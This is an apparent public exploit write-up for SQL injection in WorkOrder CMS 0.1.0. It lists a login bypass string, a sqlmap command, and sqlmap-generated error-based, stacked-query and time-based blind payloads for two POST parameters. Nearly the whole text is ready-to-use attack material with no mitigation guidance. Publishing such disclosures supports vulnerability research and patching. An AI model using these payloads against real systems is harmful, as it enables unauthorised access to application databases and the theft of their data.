WorkOrder CMS 0.1.0 SQL Injection

`# Exploit Title: WorkOrder CMS 0.1.0 SQLI  
  
# Date: Sep 22, 2022  
  
# Exploit Author: Chokri Hammedi  
  
# Vendor Homepage: https://github.com/romzes13/WorkOrderCMS  
  
# Software Link:  
https://github.com/romzes13/WorkOrderCMS/archive/refs/tags/v0.1.0.zip  
  
# Version: 0.1.0  
  
# Tested on: Linux  
  
  
  
  
  
# Auth Bypass:  
  
  
username:' or '1'='1  
  
password:' or '1'='1  
  
  
#sqlmap -r workorder.req --threads=10 --level 5 --risk 3 --dbs --dbms=mysql  
  
  
# POST Requests:  
  
  
Parameter: #1* ((custom) POST)  
  
Type: error-based  
  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
  
Payload: userName=1'='1&password=1/' AND (SELECT 3761 FROM(SELECT  
COUNT(*),CONCAT(0x7170627071,(SELECT  
(ELT(3761=3761,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- UUhY!1111'/  
  
  
Type: stacked queries  
  
Title: MySQL >= 5.0.12 stacked queries (comment)  
  
Payload: userName=1'='1&password=1/';SELECT SLEEP(5)#!1111'/  
  
  
Type: time-based blind  
  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: userName=1'='1&password=1/' AND (SELECT 6822 FROM  
(SELECT(SLEEP(5)))lYsh)-- YlDI!1111'/  
  
  
Parameter: #2* ((custom) POST)  
  
Type: error-based  
  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
  
Payload: userName=1'='1&password=1/!1111' AND (SELECT 2010 FROM(SELECT  
COUNT(*),CONCAT(0x7170627071,(SELECT  
(ELT(2010=2010,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- tqtn/  
  
  
Type: stacked queries  
  
Title: MySQL >= 5.0.12 stacked queries (comment)  
  
Payload: userName=1'='1&password=1/!1111';SELECT SLEEP(5)#/  
  
  
Type: time-based blind  
  
Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)  
  
Payload: userName=1'='1&password=1/!1111' OR SLEEP(5)-- XuTW/  
`